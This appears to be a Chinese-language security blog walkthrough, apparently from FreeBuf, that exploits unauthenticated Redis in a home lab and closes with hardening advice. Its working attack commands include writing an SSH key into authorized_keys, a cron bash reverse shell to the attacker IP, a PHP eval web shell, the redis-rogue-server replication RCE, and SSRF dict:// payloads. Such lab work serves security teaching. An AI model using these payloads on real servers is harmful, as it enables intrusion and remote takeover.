
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
环境搭建
安装步骤参考:Redis未授权访问漏洞的重现与利用 - FreeBuf网络安全行业门户
操作系统:ubuntu20.4
首先先选择一个合适的版本,然后下载压缩包(这里建议选择5.01,我这一开始下成3.2.11了,后面改成的5.01,所以截图不太一样)。
wget http://download.redis.io/releases/redis-5.0.1.tar.gz
解压到文件夹后,进入解压的目录redis-3.2.11,使用
make
make完后,进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(样启动redis-server和redis-cli就不用每次都进入安装目录了)。
返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:
然后编辑etc目录下的redis.conf文件:
sudo gedit /etc/redis.conf
首先将ip绑定去掉,
关闭保护模式,允许远程连接redis服务。
最后使用/etc/目录下的reids.conf文件中的配置启动redis服务:
redis-server /etc/redis.conf
注意:还需要检测是否关闭了防火墙
查询是否开启防火墙:
sudo ufw status
显示不活动即为关闭。
使用命令关闭:
sudo ufw disable
然后再安装ssh服务:
dpkg -l | grep ssh //查看是否安装了ssh服务,默认只安装了ssh-client服务。 sudo apt-get install openssh-server dpkg -l | grep ssh ps -e | grep ssh //查看服务是否开启
环境
目标机器:
ubuntu20 192.168.200.38
攻击机:
kali 192.168.200.4
win7 192.168.200.17
简介
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
无凭证ssh连接
SSH提供两种登录验证方式,一种是口令验证,另一种是密钥验证。
口令认证也就是账号密码认证,密钥认证就是我们目标的免密码登录。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密。
1.客户端生成私钥和公钥,并把公钥拷贝给服务器端;
2.客户端发起登录请求,发送自己的相关信息;
3.服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
4.客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
5.服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
先决条件
6.Redis服务使用ROOT账号启动(如果不以root权限执行,将会导致后面命令执行失败);
7.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
攻击
在攻击机本地生成公钥文件。
获取rsa:
ssh-keygen -t rsa
设置为无密码。
需要为我们的公钥文件设置一个私钥,
公钥文件默认路径:/root/.ssh/id_rsa.pub(除非生成时自己手动修改了存储地址)
查看公钥的内容:
cat id_rsa.pub
然后通过redis无密码访问目标机器:
redis-cli -h 192.168.200.38
然后我们会进入一个命令行。
config get dir #检查当前保存路径 config get dbfilename #检查保存文件名 config set dir /root/.ssh/ #设置保存路径 config set dbfilename authorized_keys #设置保存文件名
set g1ts "\n\n\n 公钥 \n\n\n" #将公钥写入g1ts健 save #进行保存
然后进行ssh远程连接,
ssh -i /root/桌面/others/id_rsa root@192.168.200.38
可以发现无密码直接远程连接了ubuntu,
计划任务(ubuntu系统可能不能使用)
条件:
root启用Redis
攻击
首先先连接redis,然后清楚所有的键值
redis-cli -h 192.168.200.38 flushall
config set dir /var/spool/cron/crontabs/ #设置保存路径(写在计划任务储存的文件夹) config set dbfilename g1ts #设置保存名称
然后我们就可以写入执行的命令,可以用来反弹shell,不过在那之前首先先在kali设置监听。
nc -lvp 6666
然后写入反弹语句,由于是计划任务,所以要设置时间。
crontab时间格式:crontab用法与实例 | 《Linux就该这么学》 (linuxprobe.com)
set g1ts "\n* * * * * * bash -i >& /dev/tcp/192.168.200.4/6666 0>&1\n" save
然后命令就会执行,
但是似乎是应为我是ubuntu系统的原因,redis创建的计划任务执行失败,查看一下日志,发现是创建的文件权限不够。
系统需要600的权限(应该就是读写的权限),但是目前只有只读的文件,我查阅了资料,但是也没有发现如何创建一个600权限的计划任务,所以如果目标是ubuntu系统的话可能此方法不能够执行成功。
更多问题可以参考:解决ubuntu crontab反弹shell失败的问题 · 大专栏 (dazhuanlan.com)
写入shell
先决条件:
root权限启动redis
需要知道绝对路径
具有文件读写增删改查权限
redis-cli -h 192.168.200.38 #连接Redis config set dir /var/www/html #设置要写入shell的路径 config set dbfilename shell.php set g1ts "\n\n\n<?php @eval($_GET("hack"))?>\n\n\n" #写入一句话木马到g1ts键 save
Redis主从复制getshell
主从模式为使用两台redis,一台为主机,一台为从机;一台负责读,一台负责写,主机和从机的数据是一模一样的,使用主从模式的原因是redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担,使用主从模式的读写分离可以缓解服务器上的流量压力,算是一种通过牺牲空间来换取效率的缓解方式。
漏洞成因:
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
先决条件:
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
root权限启动redis
环境搭建
首先先设置主从模式,将kali设置为主机:
redis-cli -h 192.168.200.38 slaveof 192.168.200.4 6379
攻击
首先下载恶意代码。
下载地址:n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)
可以下载下来本地编译,也可以使用作者编译好的exp.so
有两种模式,一种是交互式shell,一种是反弹shell
python3 ./redis-rogue-server.py --rhost 192.168.200.38 --lhost 192.168.200.4 --exp ./exp.so
输入i进入交互式shell
但是在我测试的时候,使用ifconfig命令会导致shell退出,使用一些命令也会有几率导致退出
输入r进行反弹shell,在此之前需要先设置监听:
nc -lvp 6666
然后输入r进行反弹,在输入反弹的ip和端口。
通过redisSSRF
先决条件:
root启用redis
目标机存在dict协议
知道网站绝对路径
假设可以导致ssr的文件为ssrf.php,我们可以使用以下命令:
ssrf.php?var=dict://192.168.200.38:6379/flushall
当然我们也可以通过设置键来写入shell,不过写入时推荐使用主从复制写入,而不采用直接写入,因为可能会写入不进去。
首先先设置主从关系,
设置kali为主机:
ssrf.php?url=dict://192.168.200.38:6379/slaveof:192.168.200.4:6379
设置保存目录:
ssrf.php?url=dict://192.168.200.38:6379/config:set:dir:/var/www/html
设置保存文件名称:
ssrf.php?url=dict://192.168.200.38:6379/config:set:dbfilename:shell.php
进入kali,写文件:
redis-cli set g1ts "\n\n\n<?php phpinfo() ;?>\n\n\n"
然后再保存:
ssrf.php?url=dict://192.168.200.38:6379/save
切断主从复制:
ssrf.php?url=dict://192.168.200.38:6379/slaveof:no:one
防御措施
1.禁止监听在公网地址
将 Redis监听在 0.0.0.0 是十分危险的,所以需要修改 Redis 监听端口,在 Redis 的配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的 bind 0.0.0.0 改为内网IP,然后重启Redis。
2.修改默认监听的端口
Redis默认监听端口为6379 ,为了更好的隐蔽服务,可以在redis.conf中修改Redis的监听端口,将默认端口6379改为其他的端口。
3.开启 Redis 安全认证并设置复杂的密码
为了防止 Redis 未授权访问攻击以及对 Redis 密码的爆破,可以在 redis.conf 配置文件中,通过 requirepass 选项开启密码认证并设置强密码。
4.禁止使用 root 权限启动
使用 Root 权限去运行网络服务是比较有风险的,所以不建议使用 Root 权限的任何用户启动 Redis。加固建议如: useradd -s /sbin/nolog -M redis sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf。
5.设置Redis配置文件的访问权限
因为 Redis 的明文密码可能会存储在配置文件中,所以必须禁止不相关的用户访问配置文件。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)